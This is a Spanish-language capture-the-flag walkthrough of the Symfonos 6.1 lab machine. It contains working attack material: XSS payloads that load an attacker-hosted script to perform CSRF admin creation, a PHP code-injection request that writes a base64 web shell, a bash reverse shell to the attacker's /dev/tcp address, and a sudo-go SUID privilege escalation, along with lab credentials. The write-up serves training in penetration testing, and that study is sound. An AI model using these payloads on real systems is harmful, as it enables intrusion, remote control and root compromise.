Máquina Symfonos 6.1
Reconocimiento
Identificamos el Target y escaneamos los puertos abiertos.
Se analiza los principales scripts y versiones con nmap.
Enumeración
ssh
Con esta version podemos buscar un exploit para enumeracion de usuarios. Esto con la finalidad de encontrar usernames.
1
python2.7 45939.py IP root 2>/dev/null
✔Error relacionado al módulo “paramiko”, deben descargar pip2 https://bootstrap.pypa.io/pip/2.7/get-pip.py . Lo instalan con python2.7 luego hacen pip2 install paramiko.
http
Buscaremos tecnologias web con wappalyzer o whatweb.
Verificamos en la web, el otro puerto 5000.
De igual manera verificamos el puerto 3000, en donde encontramos una web symfonos con un servicio git.
Enumeramos toda la web y en el apartado explore encontramos 2 usuarios.
Ademas de un panel de logueo. Que por el momento lo dejaremos como esta.
MySQL
Enumerando el puerto 3306, nos indica que desde nuestra IP, no podemos acceder a este servicio
Fuzzing
Al realizar un fuzzing con gobuster, econtramos 2 rutas:
- Empezamos con esta primera ruta /posts, tratamos de enumerar recursos importantes.
- Enumeramos la otra ruta /flyspray encontrada en el primer fuzzing.Es aqui donde tenemos una plataforma con tareas asignadas.
Explotacion
XSS y CSRF
Buscamos exploits, encontrando 2 archivos interesantes, pero no sabemos que version es la plataforma actual.
Como no sabemos la version, buscaremos en la web para identificar si es Open Source,esto con la finalidad de ver los cambios que ha tenido la aplicacion, un archivo recurrente es changelog.
Pero el archivo no nos muestra mucha informacion.
Enumerando los archivos encontramos un upgrading, al leer encontramos que tiene una ultima actualizacion.
Buscamos un exploit con esta version en searchsploit y econtramos la version que coincide con la encontrada. En esta tiene una descripcion que indica en que parametro se acontece el XSS y que luego se genera un CSRF con un usuario hacker con permisos administrador.
Adicionalmente se nos brinda el script, esto lo copiaremos y guardaremos.
Antes de ello observamos que nos podemos registrar.
Entonces procedemos a registrar una cuenta, y en la ruta que se nos indico en el script, existe un parametro Real Name, que es vulnerable a XSS, ademas tenemos un usuario admin que ejecuta una accion de actualizacion en el sistema, esto servira para aplicar el CSRF.
Entonces el primer paso sera verificar si es vulnerable a XSS. Pero observamos que no se ejecuta correctamente,vemos un simbolo que aparece, por ende intuimos que se agrega “>
1
"><script>alert("xss")</script>
Al cargar el ID de nuestro usuario, se ejecuta el popup.Confirmando el XSS. De igual manera sucede al ver un comentario.
Entonces confirmado el XSS, ya podemos aplicar el CSRF para que cree un nuevo usuario administrador. Para que cargue este script, forzamos a que cargue este recurso externo con:
1
"><script src="http://192.168.65.139/script.js"></script>
Compartimos el archivo con python. Esperamos que exista la peticion GET.
Y de esta manera accedemos con estas credenciales.
Observando la plataforma vemos una tarea adicional.
Accedemos a este comentario con un click en el ID, en donde tenemos credenciales del usuario achilles. Estas credenciales no permiten iniciar sesion en flyspay, pero si en symfonos.
Ahora con acceso , podemos ver los usuarios.
Al usuario Achilles, observamos 2 repositorios privados.
Analizar APIs
- En symfonos-blog –> Primero analizaremos el blog. Que, por el contenido, es de la misma ruta /posts
La diferencia es que podemos leer el archivo.php directo de la API o podemos clonarlo en nuestra PC,pero nos pedirá nuevamente las credenciales.
1
git clone http://192.168.65.146:3000/achilles/symfonos-blog
Tenemos las credenciales para la Base de datos MySQL
Pensaríamos que desde nuestra terminal nos podemos conectar, pero recordar que en la etapa de Enumeración nos indicaron que no permite la conexión de otras direcciones IP excepto la del propietario, en este caso Achilles.
1
mariadb -u root -D api -h 192.168.65.146 -p
- En symfonos-api. Tenemos los siguientes recursos.
A) Primero tenemos recursos globales
En el script main.go , vemos que almacena una petición GET que intenta obtener el valor de una variable de entorno llamada port.
Y si cargamos el recurso .env
Podemos observar que tiene un puerto almacenado en el 5000. Que es donde se ejecuta la API. Tener en cuenta ello.
B) Analizamos la API
En el script api.go vemos que existe una ruta a /ls2o4g
Dentro de la version, existe otro script con el mismo nombre
Es aqui donde nos muestra otra ruta /v1.0 que bajo de esto existe otra ruta /ping
Entonces copiamos estas rutas pero en el puerto 5000, que es donde se ejecuta la API.
Esto confirma que la ruta existe.
C) Auth
Es aqui donde vemos que por json tramita 2 campos para el login.
Y el otro script
Contempla que debajo de la ruta /auth , donde se asignan los Endpoint /login por POST y /check por GET.
Entonces es momento de intentar loguearnos.
1
curl -s -X POST "http://192.168.65.146:5000/ls2o4g/v1.0/auth/login" -H "Content-Type: application/json" -d '{"username":"achilles", "password":"h2sBr9gryBunKdF9"}'
Vemos que la ruta ,el header y el contenido es correcto.
Vemos en script que tenemos un PATCH que permite subir archivo en /posts, entonces esto nos hace pensar que podemos subir un recurso malicioso y entrando en /posts cargaremos el archivo. Utilizando el ID.
En la ruta encontrada, vemos un campo text que vale todo el texto descripcion de Achilles.
Pero que sucede, si en este campo text, podemos ingresar un payload? Entonces buscaremos un parametro text.
Es aqui, donde observamos que requiere de un campo llamado text, necesario para subir un payload.
RCE
Por ultimo Explotamos el JWT, generando una petición PATCH en el endpoit /posts/ con ID:1, el token y el recurso modificado.
1
curl -s -X PATCH "http://192.168.65.146:5000/ls2o4g/v1.0/posts/1" -H "Content-Type: application/json" -d '{"text":"prueba"}' -b 'token=asdasdasdad'
Como respuesta vemos que text muestra prueba
Ahora podemos ingresar un comando para comprobar si tenemos RCE
1
sleep(5)
Ya verificado que interpreta el sleep.Podemos aplicar la siguiente linea:
1
-d $'{"text":"system('\whoami\')"}'
Para evitar que entre en conflicto por tantas comillas. Podemos aplicar una funcion con php, llamada file_put_contents, que crea un archivo y luego declaras su contenido, para este contenido, lo ingresaremos en base64
1
2
-d $'{"text":"file_put_contents(\'prueba.txt\',\'Hola mundo\')"}'
-d $'{"text":"file_put_contents(\'cmd.php\',base64_decode(\'PD9waHAKICBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKPz4K\'))"}'
Aqui convertimos en base64.
Como respuesta podemos verificar que se interpreta el cuerpo agregado.
Comprobada la ejecucion de comando del sistema, agregamos el one liner.
1
bash -c 'bash -i >& /dev/tcp/192.168.65.139/443 0>&1'
Escala de Privilegios / Persistencia
Ya con acceso verificamos los usuarios en el sistema, y podemos escalar privilegios a Achilles.
Verificamos los permisos sudo.
Entonces como podemos ejecutar con go cualquier script como suid.
Creamos un script para cambiar los permisos de una bash.
1
2
3
4
5
6
7
8
9
10
11
12
13
package main
import (
"log"
"os/exec"
)
func main() {
cmd := exec.Command("chmod", "u+s", "/bin/bash")
err := cmd.Run()
if err != nil {
log.Fatal(err)
}
}
Observamos que originalmente no tiene permisos SUID, pero luego de ejecutar como sudo go el binario creado para cambiar permisos a la bash, podremos escalar privilegios.
Ejecutamos la bash
1
bash -p